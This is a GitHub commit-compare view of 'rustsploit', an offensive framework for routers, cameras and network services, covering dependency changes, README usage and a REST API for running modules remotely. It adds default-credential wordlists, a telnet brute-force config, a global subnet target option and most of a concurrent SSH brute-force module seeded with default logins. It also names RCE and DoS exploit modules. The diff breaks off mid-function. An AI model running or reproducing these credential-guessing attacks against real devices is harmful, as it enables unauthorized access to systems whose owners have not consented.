Compare commits

...

28 Commits

Author SHA1 Message Date
S.B 26913cdbf6 Merge pull request #26 from s-b-repo/beta-testing
Beta testing
2025-11-24 14:16:37 +02:00
S.B f21fab17b8 Update Cargo.toml 2025-11-24 14:05:49 +02:00
S.B fef7339690 Update changelog.md 2025-11-24 14:02:39 +02:00
S.B 4224c696cc Update Cargo.toml 2025-11-24 13:59:23 +02:00
S.B 8c96ee3628 Update changelog.md 2025-11-24 13:57:01 +02:00
S.B 4b63dd711e Add files via upload 2025-11-24 13:55:41 +02:00
S.B 0d81e0e6ed Delete src directory 2025-11-24 13:54:11 +02:00
S.B bae1a091e4 Update telnet_bruteforce.rs 2025-11-24 11:24:57 +02:00
S.B 7ae50993be Add files via upload 2025-11-24 11:23:46 +02:00
S.B 948d802a3b Create empty.txt 2025-11-24 11:23:25 +02:00
S.B cd6ffb9a9e Merge pull request #25 from s-b-repo/DEVORP2
Update Cargo.toml
2025-11-23 22:10:28 +02:00
S.B f8e5c0af46 Update Cargo.toml 2025-11-23 20:27:47 +02:00
S.B 5f75e369cc Merge pull request #24 from s-b-repo/konimta
Konimta
2025-11-20 14:32:19 +02:00
S.B 80a4a5843c Update changelog.md 2025-11-20 14:31:04 +02:00
S.B 1051216ddd Update telnet_bruteforce.rs 2025-11-20 14:28:15 +02:00
S.B 8eb8058ad6 Update README.md 2025-11-20 08:42:10 +02:00
S.B 63f8cac2ca Add files via upload 2025-11-20 08:38:40 +02:00
S.B 71bc20cee0 Merge pull request #23 from s-b-repo/tsinurao-mod-chip
Tsinurao mod chip
2025-11-20 08:36:18 +02:00
S.B 34b6faf140 Update changelog.md 2025-11-20 07:32:13 +02:00
S.B 7f359683da Update changelog.md 2025-11-20 07:31:23 +02:00
S.B 1bbe3ae651 Add files via upload 2025-11-20 07:30:42 +02:00
S.B 6100aa9964 Delete src directory 2025-11-20 07:23:20 +02:00
S.B 0e3da4499f Update README.md 2025-11-16 19:23:51 +02:00
S.B 55a30f91f0 Update README.md 2025-11-16 19:22:16 +02:00
S.B 33284b158a Update Cargo.toml 2025-11-16 19:20:41 +02:00
S.B 624090055c Update changelog.md 2025-11-16 19:19:28 +02:00
S.B f60e5e50ca Add files via upload 2025-11-16 19:18:48 +02:00
S.B 05f1a03dfc Delete src directory 2025-11-16 19:13:49 +02:00
26 changed files with 6883 additions and 1120 deletions
+106 -116
View File
@@ -1,124 +1,114 @@
[package]
name = "rustsploit"
version = "0.2.0"
version = "0.3.5"
edition = "2021"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
#proxy manager
rand = "0.9"
# For CLI parsing
clap = { version = "4.5", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0"
#teminal color
colored = "3.0"
rustyline = "15.0"
#ftp brute force module
async_ftp = "6.0"
tokio-socks = "0.5"
rustls = "0.23"
webpki-roots = "0.26"
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2"
sysinfo = { version = "0.36", features = ["multithread"] }
#telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
async-stream = "0.3.6"
walkdir = "2.5"
#ssh
ssh2 = "0.9"
# rstp brute forcing
base64 = "0.22"
# RDP brute forcing module
rdp = "0.12"
# ssdp moudle scanner
regex = "1.11"
ipnet = "2.11"
#camera uniview exploit
quick-xml = "0.37"
#ABUS TVIP Dropbear
md5 = "0.7"
ftp = "3.0"
#ssh rce race condition
libc = "0.2"
futures = "0.3"
futures-util = "0.3"
#spotube exploit
serde_json = "1.0"
tokio-tungstenite = "0.26"
#zte rce
# Add these to [dependencies]
aes = "0.8"
cipher = "0.4"
flate2 = "1.0"
# for Roundcube exploit payload encoding
data-encoding = "2.5"
#avanti
url = "2.5"
semver = "1.0"
#stalk route full traceroute
pnet_packet = "0.34"
socket2 = { version = "0.5", features = ["all"] }
# HTTP/2 Rapid Reset DoS
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
h2 = "0.3"
tokio-rustls = "0.24"
http = "0.2"
bytes = "1.0"
#pingsweep
which = "8.0"
# API server
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace"] }
chrono = { version = "0.4", features = ["serde"] }
serde = { version = "1.0", features = ["derive"] }
uuid = { version = "1.10", features = ["v4"] }
sha2 = "0.10"
hex = "0.4"
# DNS tooling
trust-dns-client = { version = "0.23", features = ["dnssec"] }
trust-dns-proto = "0.23"
# SNMP bruteforce - using manual encoding for reliability
# Pin transitive dependencies to edition-2021-compatible releases
# (newer versions require unstable edition2024 feature)
home = "=0.5.11"
[build-dependencies]
regex = "1.11" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
[dependencies]
# Core / General
anyhow = "1.0"
colored = "3.0" # newer than 2.0
rand = "0.9"
rustyline = "15.0"
sysinfo = { version = "0.36", features = ["multithread"] }
# CLI & Async runtime
clap = { version = "4.5", features = ["derive"] }
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
# HTTP & Web
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
h2 = "0.3"
http = "0.2"
bytes = "1.0"
tokio-rustls = "0.24"
url = "2.5"
quick-xml = "0.37"
data-encoding = "2.5"
semver = "1.0"
# Crypto & Encoding
aes = "0.8"
cipher = "0.4"
md5 = "0.7"
sha2 = "0.10"
hex = "0.4"
flate2 = "1.0"
base64 = "0.22"
# Networking & Protocols
tokio-socks = "0.5"
socket2 = { version = "0.5", features = ["all"] }
pnet_packet = "0.34"
ipnet = "2.11"
ipnetwork = "0.20"
regex = "1.11" # newest listed
which = "8.0"
# FTP
async_ftp = "6.0"
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
native-tls = "0.2"
rustls = "0.23"
webpki-roots = "0.26"
# Telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
async-stream = "0.3.6"
# SSH
ssh2 = "0.9"
libc = "0.2"
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
# Walkdir (used by telnet module)
walkdir = "2.5"
# WebSocket (Spotube exploit)
tokio-tungstenite = "0.26"
# Futures
futures = "0.3"
futures-util = "0.3"
# JSON & Serialization
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
chrono = { version = "0.4", features = ["serde"] }
# API Server (Axum)
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace"] }
uuid = { version = "1.10", features = ["v4"] }
# DNS
hickory-client = { version = "0.24", features = ["dnssec"] }
hickory-proto = "0.24"
# Misc utilities
once_cell = "1.19"
home = "=0.5.11" # pinned for edition 2021 compatibility
[build-dependencies]
regex = "1.11"
# Dependency overrides to address security warnings in transitive dependencies
# Note: These are warnings (not vulnerabilities) in transitive dependencies
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
[profile.release]
opt-level = 3
lto = "fat"
codegen-units = 1
panic = "abort"
strip = true
+51 -18
View File
@@ -3,6 +3,8 @@
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
@@ -61,7 +63,7 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
### Requirements
```bash
```
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
```
@@ -70,7 +72,7 @@ Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
### Clone + Build
```bash
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
@@ -78,13 +80,13 @@ cargo build
### Run (Interactive Shell)
```bash
```
cargo run
```
### Install (optional)
```bash
```
cargo install --path .
```
@@ -102,7 +104,7 @@ Rustsploit ships with a standalone provisioning script that builds and launches
### Interactive Setup
```bash
```
python3 scripts/setup_docker.py
```
@@ -125,7 +127,7 @@ Existing files are never overwritten without confirmation (use `--force` for scr
All prompts have CLI equivalents:
```bash
```
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
@@ -138,7 +140,7 @@ python3 scripts/setup_docker.py \
This produces the Docker assets but skips the compose launch. To start the stack later:
```bash
```
docker compose -f docker-compose.rustsploit.yml up -d --build
```
@@ -187,7 +189,7 @@ If proxy mode is enabled, Rustsploit rotates through validated proxies, falls ba
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```bash
```
# Exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
@@ -208,7 +210,7 @@ Rustsploit includes a REST API server mode that allows remote control of the too
### Starting the API Server
```bash
```
# Basic API server (defaults to 0.0.0.0:8080)
cargo run -- --api --api-key your-secret-key-here
@@ -236,7 +238,7 @@ cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
All endpoints except `/health` require authentication via the `Authorization` header:
```bash
```
# Bearer token format
Authorization: Bearer your-api-key-here
@@ -247,19 +249,19 @@ Authorization: ApiKey your-api-key-here
#### Public Endpoints
- **`GET /health`** - Health check (no authentication required)
```bash
```
curl http://localhost:8080/health
```
#### Protected Endpoints
- **`GET /api/modules`** - List all available modules
```bash
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
```
- **`POST /api/run`** - Execute a module on a target
```bash
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
@@ -267,26 +269,57 @@ Authorization: ApiKey your-api-key-here
```
- **`GET /api/status`** - Get API server status and statistics
```bash
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
```
- **`POST /api/rotate-key`** - Manually rotate the API key
```bash
```
curl -X POST -H "Authorization: Bearer your-api-key" \
http://localhost:8080/api/rotate-key
```
- **`GET /api/ips`** - Get all tracked IP addresses with details
```bash
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
```
- **`GET /api/auth-failures`** - Get authentication failure statistics
```bash
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
```
### telnet config example
```
{
"port": 23,
"username_wordlist": "usernames.txt",
"password_wordlist": "passwords.txt",
"threads": 10,
"delay_ms": 50,
"connection_timeout": 3,
"read_timeout": 1,
"stop_on_success": true,
"verbose": false,
"full_combo": true,
"raw_bruteforce": false,
"raw_charset": "",
"raw_min_length": 0,
"raw_max_length": 0,
"output_file": "results.txt",
"append_mode": false,
"pre_validate": true,
"retry_on_error": true,
"max_retries": 2,
"login_prompts": ["login:", "username:"],
"password_prompts": ["password:"],
"success_indicators": ["$", "#", "welcome"],
"failure_indicators": ["incorrect", "failed"]
}
```
### Security Features
#### Rate Limiting
@@ -317,7 +350,7 @@ Log entries include:
### Example API Workflow
```bash
```
# 1. Start the API server
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
+1498
View File
File diff suppressed because it is too large Load Diff
+1
View File
@@ -0,0 +1 @@
+20
View File
@@ -0,0 +1,20 @@
admin
password
123456
1234
root
toor
guest
default
admin123
adminadmin
pass
changeme
password1
cisco
ubnt
support
12345
qwerty
letmein
test
+20
View File
@@ -0,0 +1,20 @@
admin
root
user
administrator
guest
support
operator
supervisor
admin1
root1
manager
service
master
tech
sysadmin
default
cisco
ubnt
pi
test
+6 -14
View File
@@ -350,11 +350,12 @@ impl ApiState {
async fn auth_middleware(
State(state): State<ApiState>,
ConnectInfo(addr): ConnectInfo<SocketAddr>,
headers: HeaderMap,
request: Request,
next: Next,
) -> Response {
// Extract IP address first - try to get from headers first (for proxied requests)
// Extract IP address - try to get from headers first (for proxied requests)
let client_ip = headers
.get("x-forwarded-for")
.or_else(|| headers.get("x-real-ip"))
@@ -366,16 +367,8 @@ async fn auth_middleware(
.trim()
.to_string()
})
.filter(|s| !s.is_empty());
// Fall back to direct connection IP from request extensions
let client_ip = if let Some(ip) = client_ip {
ip
} else if let Some(addr) = request.extensions().get::<ConnectInfo<SocketAddr>>() {
addr.ip().to_string()
} else {
"unknown".to_string()
};
.filter(|s| !s.is_empty())
.unwrap_or_else(|| addr.ip().to_string());
// Check rate limit before processing authentication
if client_ip != "unknown" {
@@ -702,7 +695,7 @@ pub async fn start_api_server(
let app = Router::new()
.route("/health", get(health_check))
.merge(protected_routes)
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()).into_inner())
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()))
.with_state(state);
let listener = tokio::net::TcpListener::bind(bind_address)
@@ -720,5 +713,4 @@ pub async fn start_api_server(
.context("API server error")?;
Ok(())
}
}
+4
View File
@@ -39,4 +39,8 @@ pub struct Cli {
/// IP limit for hardening mode (default: 10 unique IPs)
#[arg(long, requires = "harden", default_value = "10")]
pub ip_limit: Option<u32>,
/// Set global target IP/subnet for all modules
#[arg(long)]
pub set_target: Option<String>,
}
+40 -2
View File
@@ -4,12 +4,30 @@ pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use crate::config;
use walkdir::WalkDir;
use crate::utils::normalize_target;
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let raw = cli_args.target.clone().unwrap_or_default();
// Use CLI target if provided, otherwise try global target
let raw = if let Some(ref t) = cli_args.target {
t.clone()
} else if config::GLOBAL_CONFIG.has_target() {
// Use single IP from global target (handles subnets intelligently)
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
ip
}
Err(e) => {
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
}
}
} else {
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
};
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
let module = cli_args.module.clone().unwrap_or_default();
@@ -35,6 +53,7 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
}
/// Interactive shell: handles `run` with raw target string
/// If raw_target is empty, uses global target if available
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
let available = discover_modules();
@@ -57,7 +76,26 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
return Ok(());
};
let target = normalize_target(raw_target)?;
// Use provided target, or fall back to global target
let target_str = if raw_target.is_empty() {
if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
ip
}
Err(e) => {
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
}
}
} else {
return Err(anyhow::anyhow!("No target specified. Use 'set target <ip/subnet>' or provide target when running module"));
}
} else {
raw_target.to_string()
};
let target = normalize_target(&target_str)?;
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
+194
View File
@@ -0,0 +1,194 @@
use anyhow::{Result, anyhow};
use std::sync::{Arc, RwLock};
use ipnetwork::IpNetwork;
/// Global configuration for the framework
#[derive(Clone, Debug)]
pub struct GlobalConfig {
/// Global target - can be a single IP or CIDR subnet
target: Arc<RwLock<Option<TargetConfig>>>,
}
#[derive(Clone, Debug)]
pub enum TargetConfig {
/// Single IP address or hostname
Single(String),
/// CIDR subnet (e.g., "192.168.1.0/24")
Subnet(IpNetwork),
}
impl GlobalConfig {
/// Create a new global configuration
pub fn new() -> Self {
Self {
target: Arc::new(RwLock::new(None)),
}
}
/// Set the global target (IP, hostname, or CIDR subnet)
pub fn set_target(&self, target: &str) -> Result<()> {
let trimmed = target.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
// Try to parse as CIDR subnet first
if let Ok(network) = trimmed.parse::<IpNetwork>() {
let mut target_guard = self.target.write().unwrap();
*target_guard = Some(TargetConfig::Subnet(network));
return Ok(());
}
// Otherwise, treat as single IP or hostname
let mut target_guard = self.target.write().unwrap();
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
Ok(())
}
/// Get the global target as a single string (for display)
pub fn get_target(&self) -> Option<String> {
let target_guard = self.target.read().unwrap();
target_guard.as_ref().map(|t| match t {
TargetConfig::Single(ip) => ip.clone(),
TargetConfig::Subnet(net) => net.to_string(),
})
}
/// Get a single IP address from the global target
/// For subnets, returns the network address (first IP)
pub fn get_single_target_ip(&self) -> Result<String> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
Ok(ip.clone())
}
Some(TargetConfig::Subnet(net)) => {
// Return the network address (first IP in the subnet)
Ok(net.network().to_string())
}
None => Err(anyhow!("No global target set")),
}
}
/// Get all IP addresses from the global target
/// Returns a vector of IP addresses (expands subnets)
/// For very large subnets (> 65536 IPs), returns an error
pub fn get_target_ips(&self) -> Result<Vec<String>> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
// For single IP/hostname, return as-is
Ok(vec![ip.clone()])
}
Some(TargetConfig::Subnet(net)) => {
// Check subnet size to prevent memory issues
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
// For very large IPv6 subnets, cap at u64::MAX
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
if size > MAX_SUBNET_SIZE {
return Err(anyhow!(
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
size, MAX_SUBNET_SIZE
));
}
// Expand subnet to individual IPs
let mut ips = Vec::new();
for ip in net.iter() {
ips.push(ip.to_string());
}
Ok(ips)
}
None => Err(anyhow!("No global target set")),
}
}
/// Check if global target is set
pub fn has_target(&self) -> bool {
let target_guard = self.target.read().unwrap();
target_guard.is_some()
}
/// Check if global target is a subnet
pub fn is_subnet(&self) -> bool {
let target_guard = self.target.read().unwrap();
matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
}
/// Get the size of the target (number of IPs)
/// For single IPs, returns 1
/// For subnets, returns the subnet size without expanding
pub fn get_target_size(&self) -> Option<u64> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(_)) => Some(1),
Some(TargetConfig::Subnet(net)) => {
// Calculate size from prefix length
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
Some(size)
}
None => None,
}
}
/// Clear the global target
pub fn clear_target(&self) {
let mut target_guard = self.target.write().unwrap();
*target_guard = None;
}
}
/// Global configuration instance
use once_cell::sync::Lazy;
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
+7
View File
@@ -7,6 +7,7 @@ mod commands;
mod modules;
mod utils;
mod api;
mod config;
#[tokio::main]
async fn main() -> Result<()> {
@@ -35,6 +36,12 @@ async fn main() -> Result<()> {
return Ok(());
}
// Set global target if provided
if let Some(ref target) = cli_args.set_target {
config::GLOBAL_CONFIG.set_target(target)?;
println!("✓ Global target set to: {}", target);
}
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
commands::handle_command(cmd, &cli_args).await?;
File diff suppressed because it is too large Load Diff
+312 -88
View File
@@ -1,41 +1,185 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use ssh2::Session;
use std::{
collections::HashSet,
fs::File,
io::{BufRead, BufReader, Write},
net::{TcpStream, ToSocketAddrs},
path::{Path, PathBuf},
sync::Arc,
sync::{
atomic::{AtomicBool, AtomicU64, Ordering},
Arc,
},
time::Instant,
};
use std::sync::atomic::{AtomicBool, Ordering};
use regex::Regex;
use tokio::{sync::Mutex, task::spawn_blocking, time::{sleep, Duration}};
use tokio::{
sync::{Mutex, Semaphore},
task::spawn_blocking,
time::{sleep, Duration, timeout},
};
// Constants
const DEFAULT_SSH_PORT: u16 = 22;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("root", "root"),
("admin", "admin"),
("user", "user"),
("guest", "guest"),
("root", "123456"),
("admin", "123456"),
("root", "password"),
("admin", "password"),
("root", ""),
("admin", ""),
("ubuntu", "ubuntu"),
("test", "test"),
("oracle", "oracle"),
];
// Statistics tracking
struct Statistics {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
retried_attempts: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
retried_attempts: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
fn record_retry(&self) {
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
retries,
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Retries: {}", retries);
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
}
}
pub async fn run(target: &str) -> Result<()> {
println!("=== SSH Brute Force Module ===");
println!("{}", "=== SSH Brute Force Module ===".bold());
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", "22")?;
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string())?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
Ok(p) if p > 0 => break p,
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
}
};
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
// Ask about default credentials
let use_defaults = prompt_yes_no("Try default credentials first?", true)?;
let usernames_file = if prompt_yes_no("Use username wordlist?", true)? {
Some(prompt_existing_file("Username wordlist")?)
} else {
None
};
let passwords_file = if prompt_yes_no("Use password wordlist?", true)? {
Some(prompt_existing_file("Password wordlist")?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
Ok(n) if n > 0 && n <= 256 => break n,
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
}
};
let connection_timeout: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "5")?;
match input.parse() {
Ok(n) if n >= 1 && n <= 60 => break n,
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
}
};
let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?;
let max_retries: usize = if retry_on_error {
loop {
let input = prompt_default("Max retries per attempt", "2")?;
match input.parse() {
Ok(n) if n > 0 && n <= 10 => break n,
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
}
}
} else {
0
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
@@ -48,47 +192,98 @@ pub async fn run(target: &str) -> Result<()> {
let connect_addr = normalize_target(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
println!("\n[*] Starting brute-force on {}", connect_addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
println!("{}", "[!] Username wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
println!("{}", "[!] Password wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
let passwords = load_lines(&passwords_file)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
return Err(anyhow!("No passwords available"));
}
let users = Arc::new(users);
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
// Calculate total attempts
let total_attempts = if combo_mode {
usernames.len() * passwords.len()
} else {
passwords.len()
};
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
let found = Arc::new(Mutex::new(HashSet::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(Statistics::new());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(connection_timeout);
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Generate credential pairs
let mut tasks = Vec::new();
let mut user_cycle_idx = 0usize;
for pass in passwords {
for pass in passwords.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let selected_users: Vec<String> = if combo_mode {
users.iter().cloned().collect()
usernames.iter().cloned().collect()
} else {
if users.is_empty() {
if usernames.is_empty() {
Vec::new()
} else {
let user = users[user_cycle_idx % users.len()].clone();
let user = usernames[user_cycle_idx % usernames.len()].clone();
user_cycle_idx += 1;
vec![user]
}
};
if selected_users.is_empty() {
continue;
}
for user in selected_users {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
@@ -99,57 +294,80 @@ pub async fn run(target: &str) -> Result<()> {
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let semaphore_clone = semaphore.clone();
let timeout_clone = timeout_duration;
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let retry_flag = retry_on_error;
let max_retries_clone = max_retries;
let permit = semaphore_clone.acquire_owned().await.unwrap();
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ssh_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone
.lock()
.await
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
let mut retries = 0;
loop {
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
Ok(true) => {
